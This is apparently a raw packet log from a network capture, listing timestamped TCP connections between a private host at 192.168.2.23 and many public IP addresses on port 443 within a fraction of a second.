Apr 14, 2024 03:59:52.110553026 CEST	35630	443	192.168.2.23	178.3.15.224
Apr 14, 2024 03:59:52.110553026 CEST	38072	443	192.168.2.23	5.32.1.59
Apr 14, 2024 03:59:52.110553026 CEST	38072	443	192.168.2.23	5.32.1.59
Apr 14, 2024 03:59:52.110558987 CEST	443	38262	2.39.27.50	192.168.2.23
Apr 14, 2024 03:59:52.110564947 CEST	443	38072	5.32.1.59	192.168.2.23
Apr 14, 2024 03:59:52.110574007 CEST	50482	443	192.168.2.23	123.18.197.210
Apr 14, 2024 03:59:52.110575914 CEST	443	35630	178.3.15.224	192.168.2.23
Apr 14, 2024 03:59:52.110584021 CEST	443	50482	123.18.197.210	192.168.2.23
Apr 14, 2024 03:59:52.110611916 CEST	50482	443	192.168.2.23	123.18.197.210
Apr 14, 2024 03:59:52.110630035 CEST	35616	443	192.168.2.23	123.18.217.253
Apr 14, 2024 03:59:52.110631943 CEST	443	38072	5.32.1.59	192.168.2.23
Apr 14, 2024 03:59:52.110640049 CEST	443	50482	123.18.197.210	192.168.2.23
Apr 14, 2024 03:59:52.110646009 CEST	443	35616	123.18.217.253	192.168.2.23
Apr 14, 2024 03:59:52.110652924 CEST	35616	443	192.168.2.23	123.18.217.253
Apr 14, 2024 03:59:52.110652924 CEST	37420	443	192.168.2.23	117.37.122.214
Apr 14, 2024 03:59:52.110665083 CEST	443	37420	117.37.122.214	192.168.2.23
Apr 14, 2024 03:59:52.110687017 CEST	443	35616	123.18.217.253	192.168.2.23
Apr 14, 2024 03:59:52.110816956 CEST	56254	443	192.168.2.23	5.22.192.44
Apr 14, 2024 03:59:52.110817909 CEST	37420	443	192.168.2.23	117.37.122.214
Apr 14, 2024 03:59:52.110824108 CEST	443	37420	117.37.122.214	192.168.2.23
Apr 14, 2024 03:59:52.110826015 CEST	443	37420	117.37.122.214	192.168.2.23
Apr 14, 2024 03:59:52.110826969 CEST	443	56254	5.22.192.44	192.168.2.23
Apr 14, 2024 03:59:52.110830069 CEST	56254	443	192.168.2.23	5.22.192.44
Apr 14, 2024 03:59:52.110846043 CEST	47488	443	192.168.2.23	42.14.81.180
Apr 14, 2024 03:59:52.110858917 CEST	443	47488	42.14.81.180	192.168.2.23
Apr 14, 2024 03:59:52.110857964 CEST	443	56254	5.22.192.44	192.168.2.23
Apr 14, 2024 03:59:52.110889912 CEST	52576	443	192.168.2.23	210.27.135.59
Apr 14, 2024 03:59:52.110893965 CEST	47488	443	192.168.2.23	42.14.81.180
Apr 14, 2024 03:59:52.110899925 CEST	443	52576	210.27.135.59	192.168.2.23
Apr 14, 2024 03:59:52.110917091 CEST	443	47488	42.14.81.180	192.168.2.23
Apr 14, 2024 03:59:52.110941887 CEST	52576	443	192.168.2.23	210.27.135.59
Apr 14, 2024 03:59:52.110941887 CEST	35096	443	192.168.2.23	37.56.197.103
Apr 14, 2024 03:59:52.110953093 CEST	443	35096	37.56.197.103	192.168.2.23
Apr 14, 2024 03:59:52.110974073 CEST	443	52576	210.27.135.59	192.168.2.23
Apr 14, 2024 03:59:52.111006021 CEST	35096	443	192.168.2.23	37.56.197.103
Apr 14, 2024 03:59:52.111021996 CEST	50086	443	192.168.2.23	178.28.218.195
Apr 14, 2024 03:59:52.111021996 CEST	50086	443	192.168.2.23	178.28.218.195
Apr 14, 2024 03:59:52.111028910 CEST	443	35096	37.56.197.103	192.168.2.23
Apr 14, 2024 03:59:52.111032963 CEST	40426	443	192.168.2.23	2.59.99.0
Apr 14, 2024 03:59:52.111042976 CEST	443	40426	2.59.99.0	192.168.2.23
Apr 14, 2024 03:59:52.111043930 CEST	443	50086	178.28.218.195	192.168.2.23
Apr 14, 2024 03:59:52.111052036 CEST	40426	443	192.168.2.23	2.59.99.0
Apr 14, 2024 03:59:52.111052036 CEST	59522	443	192.168.2.23	79.154.29.216
Apr 14, 2024 03:59:52.111061096 CEST	443	59522	79.154.29.216	192.168.2.23
Apr 14, 2024 03:59:52.111083031 CEST	443	50086	178.28.218.195	192.168.2.23
Apr 14, 2024 03:59:52.111085892 CEST	59522	443	192.168.2.23	79.154.29.216
Apr 14, 2024 03:59:52.111114025 CEST	443	40426	2.59.99.0	192.168.2.23
Apr 14, 2024 03:59:52.111150026 CEST	443	59522	79.154.29.216	192.168.2.23
Apr 14, 2024 03:59:52.111227036 CEST	49786	443	192.168.2.23	123.207.154.205
Apr 14, 2024 03:59:52.111227036 CEST	49786	443	192.168.2.23	123.207.154.205
Apr 14, 2024 03:59:52.111232042 CEST	55444	443	192.168.2.23	2.0.111.211
Apr 14, 2024 03:59:52.111236095 CEST	443	49786	123.207.154.205	192.168.2.23
Apr 14, 2024 03:59:52.111238003 CEST	443	55444	2.0.111.211	192.168.2.23
Apr 14, 2024 03:59:52.111246109 CEST	55444	443	192.168.2.23	2.0.111.211
Apr 14, 2024 03:59:52.111263037 CEST	56842	443	192.168.2.23	79.63.148.202
Apr 14, 2024 03:59:52.111279011 CEST	443	49786	123.207.154.205	192.168.2.23
Apr 14, 2024 03:59:52.111282110 CEST	443	56842	79.63.148.202	192.168.2.23
Apr 14, 2024 03:59:52.111303091 CEST	56842	443	192.168.2.23	79.63.148.202
Apr 14, 2024 03:59:52.111311913 CEST	47730	443	192.168.2.23	202.115.215.133
Apr 14, 2024 03:59:52.111326933 CEST	443	47730	202.115.215.133	192.168.2.23
Apr 14, 2024 03:59:52.111335993 CEST	443	56842	79.63.148.202	192.168.2.23
Apr 14, 2024 03:59:52.111372948 CEST	443	47730	202.115.215.133	192.168.2.23
Apr 14, 2024 03:59:52.111387014 CEST	47730	443	192.168.2.23	202.115.215.133
Apr 14, 2024 03:59:52.111390114 CEST	42814	443	192.168.2.23	2.70.214.211
Apr 14, 2024 03:59:52.111396074 CEST	443	47730	202.115.215.133	192.168.2.23
Apr 14, 2024 03:59:52.111393929 CEST	37200	443	192.168.2.23	212.165.112.38
Apr 14, 2024 03:59:52.111390114 CEST	42814	443	192.168.2.23	2.70.214.211
Apr 14, 2024 03:59:52.111393929 CEST	37200	443	192.168.2.23	212.165.112.38
Apr 14, 2024 03:59:52.111403942 CEST	48276	443	192.168.2.23	210.133.134.119
Apr 14, 2024 03:59:52.111412048 CEST	443	55444	2.0.111.211	192.168.2.23
Apr 14, 2024 03:59:52.111414909 CEST	443	42814	2.70.214.211	192.168.2.23
Apr 14, 2024 03:59:52.111416101 CEST	443	48276	210.133.134.119	192.168.2.23
Apr 14, 2024 03:59:52.111424923 CEST	443	37200	212.165.112.38	192.168.2.23
Apr 14, 2024 03:59:52.111426115 CEST	48276	443	192.168.2.23	210.133.134.119
Apr 14, 2024 03:59:52.111449957 CEST	443	42814	2.70.214.211	192.168.2.23
Apr 14, 2024 03:59:52.111454964 CEST	43760	443	192.168.2.23	212.48.54.54
Apr 14, 2024 03:59:52.111463070 CEST	443	43760	212.48.54.54	192.168.2.23
Apr 14, 2024 03:59:52.111463070 CEST	443	48276	210.133.134.119	192.168.2.23
Apr 14, 2024 03:59:52.111470938 CEST	43760	443	192.168.2.23	212.48.54.54
Apr 14, 2024 03:59:52.111485958 CEST	443	37200	212.165.112.38	192.168.2.23
Apr 14, 2024 03:59:52.111488104 CEST	443	43760	212.48.54.54	192.168.2.23
Apr 14, 2024 03:59:52.111514091 CEST	59236	443	192.168.2.23	117.39.131.212
Apr 14, 2024 03:59:52.111536980 CEST	443	59236	117.39.131.212	192.168.2.23
Apr 14, 2024 03:59:52.111573935 CEST	443	59236	117.39.131.212	192.168.2.23
Apr 14, 2024 03:59:52.111607075 CEST	59236	443	192.168.2.23	117.39.131.212
Apr 14, 2024 03:59:52.111613035 CEST	443	59236	117.39.131.212	192.168.2.23
Apr 14, 2024 03:59:52.111624002 CEST	46438	443	192.168.2.23	210.196.103.94
Apr 14, 2024 03:59:52.111638069 CEST	443	46438	210.196.103.94	192.168.2.23
Apr 14, 2024 03:59:52.111649036 CEST	46438	443	192.168.2.23	210.196.103.94
Apr 14, 2024 03:59:52.111670971 CEST	443	46438	210.196.103.94	192.168.2.23
Apr 14, 2024 03:59:52.111720085 CEST	46682	443	192.168.2.23	178.70.170.179
Apr 14, 2024 03:59:52.111720085 CEST	46682	443	192.168.2.23	178.70.170.179
Apr 14, 2024 03:59:52.111722946 CEST	34256	443	192.168.2.23	117.132.255.181
Apr 14, 2024 03:59:52.111722946 CEST	34256	443	192.168.2.23	117.132.255.181
Apr 14, 2024 03:59:52.111727953 CEST	443	46682	178.70.170.179	192.168.2.23
Apr 14, 2024 03:59:52.111745119 CEST	443	34256	117.132.255.181	192.168.2.23
Apr 14, 2024 03:59:52.111747980 CEST	43076	443	192.168.2.23	109.157.48.82
Apr 14, 2024 03:59:52.111762047 CEST	443	43076	109.157.48.82	192.168.2.23
Apr 14, 2024 03:59:52.111773014 CEST	40448	443	192.168.2.23	118.190.17.246
Apr 14, 2024 03:59:52.111773014 CEST	40448	443	192.168.2.23	118.190.17.246
Apr 14, 2024 03:59:52.111780882 CEST	443	34256	117.132.255.181	192.168.2.23
Apr 14, 2024 03:59:52.111782074 CEST	443	46682	178.70.170.179	192.168.2.23
Apr 14, 2024 03:59:52.111783028 CEST	43076	443	192.168.2.23	109.157.48.82
Apr 14, 2024 03:59:52.111788034 CEST	443	40448	118.190.17.246	192.168.2.23
Apr 14, 2024 03:59:52.111798048 CEST	55950	443	192.168.2.23	123.253.199.190
Apr 14, 2024 03:59:52.111802101 CEST	443	43076	109.157.48.82	192.168.2.23
Apr 14, 2024 03:59:52.111818075 CEST	55950	443	192.168.2.23	123.253.199.190
Apr 14, 2024 03:59:52.111819029 CEST	443	55950	123.253.199.190	192.168.2.23
Apr 14, 2024 03:59:52.111834049 CEST	443	40448	118.190.17.246	192.168.2.23
Apr 14, 2024 03:59:52.111855030 CEST	40980	443	192.168.2.23	123.92.137.202
Apr 14, 2024 03:59:52.111861944 CEST	443	40980	123.92.137.202	192.168.2.23
Apr 14, 2024 03:59:52.111881971 CEST	443	40980	123.92.137.202	192.168.2.23
Apr 14, 2024 03:59:52.112027884 CEST	443	55950	123.253.199.190	192.168.2.23
Apr 14, 2024 03:59:52.112282991 CEST	60008	443	192.168.2.23	79.175.48.192
Apr 14, 2024 03:59:52.112303972 CEST	443	60008	79.175.48.192	192.168.2.23
Apr 14, 2024 03:59:52.112318039 CEST	60008	443	192.168.2.23	79.175.48.192
Apr 14, 2024 03:59:52.112320900 CEST	35010	443	192.168.2.23	37.5.227.3
Apr 14, 2024 03:59:52.112330914 CEST	443	35010	37.5.227.3	192.168.2.23
Apr 14, 2024 03:59:52.112344027 CEST	443	60008	79.175.48.192	192.168.2.23
Apr 14, 2024 03:59:52.112358093 CEST	443	35010	37.5.227.3	192.168.2.23
Apr 14, 2024 03:59:52.112370968 CEST	45750	443	192.168.2.23	109.22.195.252
Apr 14, 2024 03:59:52.112379074 CEST	35010	443	192.168.2.23	37.5.227.3
Apr 14, 2024 03:59:52.112380981 CEST	443	45750	109.22.195.252	192.168.2.23
Apr 14, 2024 03:59:52.112386942 CEST	443	35010	37.5.227.3	192.168.2.23
Apr 14, 2024 03:59:52.112411976 CEST	45750	443	192.168.2.23	109.22.195.252
Apr 14, 2024 03:59:52.112417936 CEST	443	45750	109.22.195.252	192.168.2.23
Apr 14, 2024 03:59:52.112430096 CEST	42720	443	192.168.2.23	178.150.57.5
Apr 14, 2024 03:59:52.112459898 CEST	443	42720	178.150.57.5	192.168.2.23
Apr 14, 2024 03:59:52.112483978 CEST	443	42720	178.150.57.5	192.168.2.23
Apr 14, 2024 03:59:52.112484932 CEST	42720	443	192.168.2.23	178.150.57.5
Apr 14, 2024 03:59:52.112484932 CEST	52774	443	192.168.2.23	5.113.223.205
Apr 14, 2024 03:59:52.112500906 CEST	443	42720	178.150.57.5	192.168.2.23
Apr 14, 2024 03:59:52.112521887 CEST	54102	443	192.168.2.23	202.211.133.80
Apr 14, 2024 03:59:52.112529039 CEST	443	54102	202.211.133.80	192.168.2.23
Apr 14, 2024 03:59:52.112539053 CEST	443	52774	5.113.223.205	192.168.2.23
Apr 14, 2024 03:59:52.112548113 CEST	54102	443	192.168.2.23	202.211.133.80
Apr 14, 2024 03:59:52.112560987 CEST	34896	443	192.168.2.23	118.7.202.51
Apr 14, 2024 03:59:52.112564087 CEST	52774	443	192.168.2.23	5.113.223.205
Apr 14, 2024 03:59:52.112579107 CEST	443	34896	118.7.202.51	192.168.2.23
Apr 14, 2024 03:59:52.112587929 CEST	443	54102	202.211.133.80	192.168.2.23
Apr 14, 2024 03:59:52.112621069 CEST	58550	443	192.168.2.23	212.174.4.231
Apr 14, 2024 03:59:52.112622976 CEST	34896	443	192.168.2.23	118.7.202.51
Apr 14, 2024 03:59:52.112628937 CEST	443	58550	212.174.4.231	192.168.2.23
Apr 14, 2024 03:59:52.112643957 CEST	58550	443	192.168.2.23	212.174.4.231
Apr 14, 2024 03:59:52.112648964 CEST	59720	443	192.168.2.23	117.32.207.65
Apr 14, 2024 03:59:52.112652063 CEST	443	58550	212.174.4.231	192.168.2.23
Apr 14, 2024 03:59:52.112656116 CEST	443	59720	117.32.207.65	192.168.2.23
Apr 14, 2024 03:59:52.112658024 CEST	443	34896	118.7.202.51	192.168.2.23
Apr 14, 2024 03:59:52.112673044 CEST	59720	443	192.168.2.23	117.32.207.65
Apr 14, 2024 03:59:52.112673998 CEST	443	52774	5.113.223.205	192.168.2.23
Apr 14, 2024 03:59:52.112683058 CEST	443	59720	117.32.207.65	192.168.2.23
Apr 14, 2024 03:59:52.112685919 CEST	58600	443	192.168.2.23	94.100.112.85
Apr 14, 2024 03:59:52.112696886 CEST	443	58600	94.100.112.85	192.168.2.23
Apr 14, 2024 03:59:52.112718105 CEST	443	58600	94.100.112.85	192.168.2.23
Apr 14, 2024 03:59:52.115502119 CEST	36774	443	192.168.2.23	37.23.183.36
Apr 14, 2024 03:59:52.115525961 CEST	443	36774	37.23.183.36	192.168.2.23
Apr 14, 2024 03:59:52.115556002 CEST	36774	443	192.168.2.23	37.23.183.36
Apr 14, 2024 03:59:52.115556002 CEST	48158	443	192.168.2.23	202.34.95.27
Apr 14, 2024 03:59:52.115556002 CEST	48158	443	192.168.2.23	202.34.95.27
Apr 14, 2024 03:59:52.115566969 CEST	443	36774	37.23.183.36	192.168.2.23
Apr 14, 2024 03:59:52.115576029 CEST	60136	443	192.168.2.23	109.203.65.47
Apr 14, 2024 03:59:52.115586042 CEST	443	60136	109.203.65.47	192.168.2.23
Apr 14, 2024 03:59:52.115587950 CEST	443	36774	37.23.183.36	192.168.2.23
Apr 14, 2024 03:59:52.115633011 CEST	60136	443	192.168.2.23	109.203.65.47
Apr 14, 2024 03:59:52.115633011 CEST	55164	443	192.168.2.23	79.218.62.15
Apr 14, 2024 03:59:52.115642071 CEST	443	55164	79.218.62.15	192.168.2.23
Apr 14, 2024 03:59:52.115649939 CEST	443	48158	202.34.95.27	192.168.2.23
Apr 14, 2024 03:59:52.115650892 CEST	55164	443	192.168.2.23	79.218.62.15
Apr 14, 2024 03:59:52.115655899 CEST	443	60136	109.203.65.47	192.168.2.23
Apr 14, 2024 03:59:52.115696907 CEST	443	48158	202.34.95.27	192.168.2.23
Apr 14, 2024 03:59:52.115700960 CEST	50818	443	192.168.2.23	109.64.154.56
Apr 14, 2024 03:59:52.115700960 CEST	50818	443	192.168.2.23	109.64.154.56
Apr 14, 2024 03:59:52.115704060 CEST	36102	443	192.168.2.23	210.20.116.157
Apr 14, 2024 03:59:52.115711927 CEST	443	36102	210.20.116.157	192.168.2.23
Apr 14, 2024 03:59:52.115715027 CEST	443	50818	109.64.154.56	192.168.2.23
Apr 14, 2024 03:59:52.115739107 CEST	36102	443	192.168.2.23	210.20.116.157
Apr 14, 2024 03:59:52.115739107 CEST	35392	443	192.168.2.23	94.238.173.202
Apr 14, 2024 03:59:52.115755081 CEST	443	35392	94.238.173.202	192.168.2.23
Apr 14, 2024 03:59:52.115766048 CEST	443	36102	210.20.116.157	192.168.2.23
Apr 14, 2024 03:59:52.115770102 CEST	35392	443	192.168.2.23	94.238.173.202
Apr 14, 2024 03:59:52.115820885 CEST	443	55164	79.218.62.15	192.168.2.23
Apr 14, 2024 03:59:52.115849018 CEST	33614	443	192.168.2.23	79.252.24.120
Apr 14, 2024 03:59:52.115855932 CEST	443	33614	79.252.24.120	192.168.2.23
Apr 14, 2024 03:59:52.115864038 CEST	33614	443	192.168.2.23	79.252.24.120
Apr 14, 2024 03:59:52.115866899 CEST	45336	443	192.168.2.23	5.82.105.236
Apr 14, 2024 03:59:52.115866899 CEST	45336	443	192.168.2.23	5.82.105.236
Apr 14, 2024 03:59:52.115866899 CEST	34154	443	192.168.2.23	42.94.151.53
Apr 14, 2024 03:59:52.115866899 CEST	34154	443	192.168.2.23	42.94.151.53
Apr 14, 2024 03:59:52.115873098 CEST	443	35392	94.238.173.202	192.168.2.23
Apr 14, 2024 03:59:52.115883112 CEST	33582	443	192.168.2.23	212.147.102.83
Apr 14, 2024 03:59:52.115888119 CEST	443	33582	212.147.102.83	192.168.2.23
Apr 14, 2024 03:59:52.115890026 CEST	443	45336	5.82.105.236	192.168.2.23
Apr 14, 2024 03:59:52.115892887 CEST	443	34154	42.94.151.53	192.168.2.23
Apr 14, 2024 03:59:52.115909100 CEST	33582	443	192.168.2.23	212.147.102.83
Apr 14, 2024 03:59:52.115933895 CEST	46518	443	192.168.2.23	123.78.107.88
Apr 14, 2024 03:59:52.115940094 CEST	443	46518	123.78.107.88	192.168.2.23
Apr 14, 2024 03:59:52.115956068 CEST	46518	443	192.168.2.23	123.78.107.88
Apr 14, 2024 03:59:52.116065979 CEST	34544	443	192.168.2.23	5.177.32.167
Apr 14, 2024 03:59:52.116075039 CEST	443	34544	5.177.32.167	192.168.2.23
Apr 14, 2024 03:59:52.116091967 CEST	34544	443	192.168.2.23	5.177.32.167
Apr 14, 2024 03:59:52.116111040 CEST	55592	443	192.168.2.23	2.58.239.21
Apr 14, 2024 03:59:52.116116047 CEST	443	55592	2.58.239.21	192.168.2.23
Apr 14, 2024 03:59:52.116194010 CEST	55592	443	192.168.2.23	2.58.239.21
Apr 14, 2024 03:59:52.116213083 CEST	53298	443	192.168.2.23	2.62.71.6
Apr 14, 2024 03:59:52.116213083 CEST	53298	443	192.168.2.23	2.62.71.6
Apr 14, 2024 03:59:52.116214037 CEST	46422	443	192.168.2.23	202.196.246.128
Apr 14, 2024 03:59:52.116245985 CEST	443	53298	2.62.71.6	192.168.2.23
Apr 14, 2024 03:59:52.116270065 CEST	443	46422	202.196.246.128	192.168.2.23
Apr 14, 2024 03:59:52.116287947 CEST	58182	443	192.168.2.23	117.87.133.168
Apr 14, 2024 03:59:52.116291046 CEST	37054	443	192.168.2.23	37.173.47.238
Apr 14, 2024 03:59:52.116292000 CEST	443	58182	117.87.133.168	192.168.2.23
Apr 14, 2024 03:59:52.116291046 CEST	37054	443	192.168.2.23	37.173.47.238
Apr 14, 2024 03:59:52.116300106 CEST	443	37054	37.173.47.238	192.168.2.23
Apr 14, 2024 03:59:52.116300106 CEST	46422	443	192.168.2.23	202.196.246.128
Apr 14, 2024 03:59:52.116301060 CEST	34750	443	192.168.2.23	118.34.158.35
Apr 14, 2024 03:59:52.116301060 CEST	34750	443	192.168.2.23	118.34.158.35
Apr 14, 2024 03:59:52.116319895 CEST	443	34750	118.34.158.35	192.168.2.23
Apr 14, 2024 03:59:52.116332054 CEST	58102	443	192.168.2.23	117.174.137.205
Apr 14, 2024 03:59:52.116333008 CEST	58182	443	192.168.2.23	117.87.133.168
Apr 14, 2024 03:59:52.116336107 CEST	443	58102	117.174.137.205	192.168.2.23
Apr 14, 2024 03:59:52.116390944 CEST	58102	443	192.168.2.23	117.174.137.205
Apr 14, 2024 03:59:52.116403103 CEST	50838	443	192.168.2.23	117.154.243.31
Apr 14, 2024 03:59:52.116404057 CEST	50838	443	192.168.2.23	117.154.243.31
Apr 14, 2024 03:59:52.116410017 CEST	443	50838	117.154.243.31	192.168.2.23
Apr 14, 2024 03:59:52.116424084 CEST	50862	443	192.168.2.23	2.64.136.45
Apr 14, 2024 03:59:52.116429090 CEST	443	50862	2.64.136.45	192.168.2.23
Apr 14, 2024 03:59:52.116449118 CEST	50862	443	192.168.2.23	2.64.136.45
Apr 14, 2024 03:59:52.116466045 CEST	47600	443	192.168.2.23	178.16.185.140
Apr 14, 2024 03:59:52.116472960 CEST	443	47600	178.16.185.140	192.168.2.23
Apr 14, 2024 03:59:52.116583109 CEST	47600	443	192.168.2.23	178.16.185.140
Apr 14, 2024 03:59:52.116591930 CEST	57410	443	192.168.2.23	37.179.169.244
Apr 14, 2024 03:59:52.116596937 CEST	443	57410	37.179.169.244	192.168.2.23
Apr 14, 2024 03:59:52.116640091 CEST	42226	443	192.168.2.23	79.246.121.249
Apr 14, 2024 03:59:52.116643906 CEST	443	42226	79.246.121.249	192.168.2.23
Apr 14, 2024 03:59:52.116657019 CEST	57410	443	192.168.2.23	37.179.169.244
Apr 14, 2024 03:59:52.116707087 CEST	42226	443	192.168.2.23	79.246.121.249
Apr 14, 2024 03:59:52.116708994 CEST	34946	443	192.168.2.23	202.31.236.75
Apr 14, 2024 03:59:52.116708994 CEST	34946	443	192.168.2.23	202.31.236.75
Apr 14, 2024 03:59:52.116718054 CEST	443	34946	202.31.236.75	192.168.2.23
Apr 14, 2024 03:59:52.116719961 CEST	58584	443	192.168.2.23	118.177.169.165
Apr 14, 2024 03:59:52.116724968 CEST	443	58584	118.177.169.165	192.168.2.23
Apr 14, 2024 03:59:52.116743088 CEST	58584	443	192.168.2.23	118.177.169.165
Apr 14, 2024 03:59:52.116830111 CEST	48140	443	192.168.2.23	5.197.160.41
Apr 14, 2024 03:59:52.116830111 CEST	48140	443	192.168.2.23	5.197.160.41
Apr 14, 2024 03:59:52.116833925 CEST	443	48140	5.197.160.41	192.168.2.23
Apr 14, 2024 03:59:52.116839886 CEST	43350	443	192.168.2.23	5.139.74.231
Apr 14, 2024 03:59:52.116839886 CEST	43350	443	192.168.2.23	5.139.74.231
Apr 14, 2024 03:59:52.116839886 CEST	44774	443	192.168.2.23	37.101.227.89
Apr 14, 2024 03:59:52.116839886 CEST	44774	443	192.168.2.23	37.101.227.89
Apr 14, 2024 03:59:52.116849899 CEST	443	43350	5.139.74.231	192.168.2.23
Apr 14, 2024 03:59:52.116858959 CEST	46054	443	192.168.2.23	117.112.218.211
Apr 14, 2024 03:59:52.116861105 CEST	443	44774	37.101.227.89	192.168.2.23
Apr 14, 2024 03:59:52.116863012 CEST	443	46054	117.112.218.211	192.168.2.23
Apr 14, 2024 03:59:52.116875887 CEST	46054	443	192.168.2.23	117.112.218.211
Apr 14, 2024 03:59:52.117031097 CEST	50918	443	192.168.2.23	148.20.156.189
Apr 14, 2024 03:59:52.117036104 CEST	443	50918	148.20.156.189	192.168.2.23
Apr 14, 2024 03:59:52.117046118 CEST	50918	443	192.168.2.23	148.20.156.189
Apr 14, 2024 03:59:52.117054939 CEST	60324	443	192.168.2.23	109.183.54.149
Apr 14, 2024 03:59:52.117059946 CEST	443	60324	109.183.54.149	192.168.2.23
Apr 14, 2024 03:59:52.117079020 CEST	60324	443	192.168.2.23	109.183.54.149
Apr 14, 2024 03:59:52.117104053 CEST	48782	443	192.168.2.23	178.63.234.37
Apr 14, 2024 03:59:52.117109060 CEST	443	48782	178.63.234.37	192.168.2.23
Apr 14, 2024 03:59:52.117120028 CEST	48782	443	192.168.2.23	178.63.234.37
Apr 14, 2024 03:59:52.117186069 CEST	54938	443	192.168.2.23	123.39.200.62
Apr 14, 2024 03:59:52.117187023 CEST	54938	443	192.168.2.23	123.39.200.62
Apr 14, 2024 03:59:52.117192984 CEST	443	54938	123.39.200.62	192.168.2.23
Apr 14, 2024 03:59:52.117196083 CEST	57588	443	192.168.2.23	2.191.20.96
Apr 14, 2024 03:59:52.117197990 CEST	51782	443	192.168.2.23	42.227.169.55
Apr 14, 2024 03:59:52.117197990 CEST	51782	443	192.168.2.23	42.227.169.55
Apr 14, 2024 03:59:52.117201090 CEST	443	57588	2.191.20.96	192.168.2.23
Apr 14, 2024 03:59:52.117202997 CEST	443	51782	42.227.169.55	192.168.2.23
Apr 14, 2024 03:59:52.117206097 CEST	57588	443	192.168.2.23	2.191.20.96
Apr 14, 2024 03:59:52.117264032 CEST	55302	443	192.168.2.23	118.69.172.35
Apr 14, 2024 03:59:52.117264986 CEST	53816	443	192.168.2.23	5.92.197.67
Apr 14, 2024 03:59:52.117264986 CEST	53816	443	192.168.2.23	5.92.197.67
Apr 14, 2024 03:59:52.117268085 CEST	443	55302	118.69.172.35	192.168.2.23
Apr 14, 2024 03:59:52.117278099 CEST	443	53816	5.92.197.67	192.168.2.23
Apr 14, 2024 03:59:52.117340088 CEST	55302	443	192.168.2.23	118.69.172.35
Apr 14, 2024 03:59:52.117393970 CEST	47708	443	192.168.2.23	210.104.214.179
Apr 14, 2024 03:59:52.117404938 CEST	443	47708	210.104.214.179	192.168.2.23
Apr 14, 2024 03:59:52.117412090 CEST	47708	443	192.168.2.23	210.104.214.179
Apr 14, 2024 03:59:52.117455006 CEST	56342	443	192.168.2.23	123.119.110.66
Apr 14, 2024 03:59:52.117459059 CEST	443	56342	123.119.110.66	192.168.2.23
Apr 14, 2024 03:59:52.117510080 CEST	56342	443	192.168.2.23	123.119.110.66
Apr 14, 2024 03:59:52.117511034 CEST	44528	443	192.168.2.23	210.31.235.118
Apr 14, 2024 03:59:52.117511034 CEST	44528	443	192.168.2.23	210.31.235.118
Apr 14, 2024 03:59:52.117515087 CEST	443	44528	210.31.235.118	192.168.2.23
Apr 14, 2024 03:59:52.117522955 CEST	57138	443	192.168.2.23	94.86.12.105
Apr 14, 2024 03:59:52.117533922 CEST	443	57138	94.86.12.105	192.168.2.23
Apr 14, 2024 03:59:52.117556095 CEST	57138	443	192.168.2.23	94.86.12.105
Apr 14, 2024 03:59:52.117583036 CEST	38018	443	192.168.2.23	37.176.67.38
Apr 14, 2024 03:59:52.117588043 CEST	443	38018	37.176.67.38	192.168.2.23
Apr 14, 2024 03:59:52.117619038 CEST	50116	443	192.168.2.23	210.189.112.210
Apr 14, 2024 03:59:52.117619991 CEST	38018	443	192.168.2.23	37.176.67.38
Apr 14, 2024 03:59:52.117621899 CEST	443	50116	210.189.112.210	192.168.2.23
Apr 14, 2024 03:59:52.117630005 CEST	50116	443	192.168.2.23	210.189.112.210
Apr 14, 2024 03:59:52.117650032 CEST	53124	443	192.168.2.23	123.43.186.177
Apr 14, 2024 03:59:52.117666006 CEST	443	53124	123.43.186.177	192.168.2.23
Apr 14, 2024 03:59:52.117687941 CEST	53124	443	192.168.2.23	123.43.186.177
Apr 14, 2024 03:59:52.117793083 CEST	51104	443	192.168.2.23	42.204.239.55
Apr 14, 2024 03:59:52.117799997 CEST	443	51104	42.204.239.55	192.168.2.23
Apr 14, 2024 03:59:52.117810011 CEST	51104	443	192.168.2.23	42.204.239.55
Apr 14, 2024 03:59:52.117813110 CEST	46522	443	192.168.2.23	148.100.193.98
Apr 14, 2024 03:59:52.117818117 CEST	443	46522	148.100.193.98	192.168.2.23
Apr 14, 2024 03:59:52.117841005 CEST	46522	443	192.168.2.23	148.100.193.98
Apr 14, 2024 03:59:52.117855072 CEST	53036	443	192.168.2.23	123.192.168.226
Apr 14, 2024 03:59:52.117860079 CEST	443	53036	123.192.168.226	192.168.2.23
Apr 14, 2024 03:59:52.117881060 CEST	53036	443	192.168.2.23	123.192.168.226
Apr 14, 2024 03:59:52.117911100 CEST	56256	443	192.168.2.23	148.48.134.188
Apr 14, 2024 03:59:52.117916107 CEST	443	56256	148.48.134.188	192.168.2.23
Apr 14, 2024 03:59:52.117959023 CEST	52926	443	192.168.2.23	42.96.18.130
Apr 14, 2024 03:59:52.117960930 CEST	56256	443	192.168.2.23	148.48.134.188
Apr 14, 2024 03:59:52.117963076 CEST	443	52926	42.96.18.130	192.168.2.23
Apr 14, 2024 03:59:52.117971897 CEST	52926	443	192.168.2.23	42.96.18.130
Apr 14, 2024 03:59:52.117991924 CEST	33280	443	192.168.2.23	212.169.115.151
Apr 14, 2024 03:59:52.117995977 CEST	443	33280	212.169.115.151	192.168.2.23
Apr 14, 2024 03:59:52.118016958 CEST	33280	443	192.168.2.23	212.169.115.151
Apr 14, 2024 03:59:52.118033886 CEST	44408	443	192.168.2.23	123.206.72.54
Apr 14, 2024 03:59:52.118045092 CEST	443	44408	123.206.72.54	192.168.2.23
Apr 14, 2024 03:59:52.118065119 CEST	44408	443	192.168.2.23	123.206.72.54
Apr 14, 2024 03:59:52.118119955 CEST	46038	443	192.168.2.23	109.202.201.102
Apr 14, 2024 03:59:52.118119955 CEST	46038	443	192.168.2.23	109.202.201.102
Apr 14, 2024 03:59:52.118124962 CEST	443	46038	109.202.201.102	192.168.2.23
Apr 14, 2024 03:59:52.128366947 CEST	443	33614	79.252.24.120	192.168.2.23
Apr 14, 2024 03:59:52.128374100 CEST	443	50818	109.64.154.56	192.168.2.23
Apr 14, 2024 03:59:52.128417969 CEST	443	33582	212.147.102.83	192.168.2.23
Apr 14, 2024 03:59:52.128443956 CEST	443	45336	5.82.105.236	192.168.2.23
Apr 14, 2024 03:59:52.128474951 CEST	443	34544	5.177.32.167	192.168.2.23
Apr 14, 2024 03:59:52.128489971 CEST	443	46518	123.78.107.88	192.168.2.23
Apr 14, 2024 03:59:52.128513098 CEST	443	34154	42.94.151.53	192.168.2.23
Apr 14, 2024 03:59:52.128541946 CEST	443	37054	37.173.47.238	192.168.2.23
Apr 14, 2024 03:59:52.128549099 CEST	443	53298	2.62.71.6	192.168.2.23
Apr 14, 2024 03:59:52.128563881 CEST	443	46422	202.196.246.128	192.168.2.23
